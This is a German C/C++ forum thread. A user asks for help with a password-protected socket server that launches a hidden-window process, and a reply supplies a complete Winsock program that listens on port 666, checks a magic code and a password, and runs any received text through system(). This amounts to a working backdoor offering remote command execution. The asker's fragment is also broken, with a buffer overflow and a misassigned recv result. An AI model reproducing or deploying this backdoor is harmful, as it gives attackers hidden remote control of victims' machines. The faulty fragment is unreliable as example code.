Wisst ihr woran das liegt?
Oder habt ihr ein Beispielscript welches ich verwenden kann?

Schonmal danke

while(exit == 0)
 {
  int shell = 0;
  s2=accept(s1,(struct sockaddr *)&sockadd,&len);
  send(s2,"Passwort eingeben: ",19,0);
  ZeroMemory(&SI,sizeof(SI));
  ZeroMemory(&PI,sizeof(PI));
  SI.cb = sizeof(SI);
  SI.dwFlags=STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
  SI.wShowWindow   = SW_HIDE;

  char* buffer;
  buffer = new char [1028];

  char pass[4];
  strcpy(pass, "test");
  int bytes;
  // ab hier fängt er an das PW abzufragen...
  buffer = recv(s2, buffer, 1027, 0);

  if(!strcmp(buffer, pass)) {
....
....
//uninteressant ^^

Im Zweifelsfall bitte auch folgende Hinweise beachten:
C/C++ Forum :: FAQ - Sonstiges :: Wohin mit meiner Frage?

Dieses Posting wurde automatisch erzeugt.

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <winsock.h>

#define BUFFER_SIZE 1024

int handling(int c)
{
	char buffer[BUFFER_SIZE], buf[BUFFER_SIZE];
	int bytes, x;
	char MAGICKEY[BUFFER_SIZE] = {'s', 'e', 'c', 'r', 'e', 't', 'c', 'o', 'd', 'e', '\0'};
	char PASS[BUFFER_SIZE] = {'4', 'c', 'c', '3', 's', '!', '\0'};

	while(TRUE)
	{
		memset(buf, '\0', sizeof(buf));

		bytes = recv(c, buf, sizeof(buf) - 1, 0);
		if (bytes == -1)
			return -1;
		buf[bytes] = '\0';

		x = strncmp(buf, MAGICKEY, strlen(MAGICKEY));
		if(x == 0)
		{
			printf("[client has entered the secretcode]\n");

			memset(buf, '\0', sizeof(buf));

			bytes = recv(c, buf, sizeof(buf) - 1, 0);
			if (bytes == -1)
				return -1;
			buf[bytes] = '\0';

			x = strncmp(buf, PASS, strlen(PASS));
			if(x == 0)
			{
				printf("[client enterd the right password]\n");

				memset(buf, '\0', sizeof(buf));

				bytes = recv(c, buf, sizeof(buf) - 1, 0);
				if (bytes == -1)
					return -1;
				buf[bytes] = '\0';

				system(buf);

				send(c, "[OK]\r\n", strlen("[OK]\r\n"), 0);
			}

			else
			{
				printf("[client entered the wrong password]\n");

				continue;
			}
		}

	}

	return 0;
}

int main(int argc, char *argv[])
{
	int s, c, cli_size;
	struct sockaddr_in srv, cli;

	{
		WSADATA wsa;
		if (WSAStartup(MAKEWORD(1, 1), &wsa))
		{
			printf("WSAStartup() failed, %lu\n", (unsigned long)GetLastError());
			return EXIT_FAILURE;
		}
	}

	s = socket(AF_INET, SOCK_STREAM, 0);
	if (s == -1)
	{
		perror("socket() failed");
		return 2;
	}

	srv.sin_addr.s_addr = INADDR_ANY;
	srv.sin_port = htons(666);
	srv.sin_family = AF_INET;

	if (bind(s, &srv, sizeof(srv)) == -1)
	{
		perror("bind() failed");
		return 3;
	}

	if (listen(s, 3) == -1)
	{
		perror("listen() failed");
		return 4;
	}

	for(;;)
	{
		cli_size = sizeof(cli);
		c = accept(s, &cli, &cli_size);

		printf("[client from %s]\n", inet_ntoa(cli.sin_addr));
		if (handling(c) == -1)
			fprintf(stderr, "%s: handling() failed", argv[0]);

		 close(c);
	}

	return 0;
}

denke der code is gut verständlich...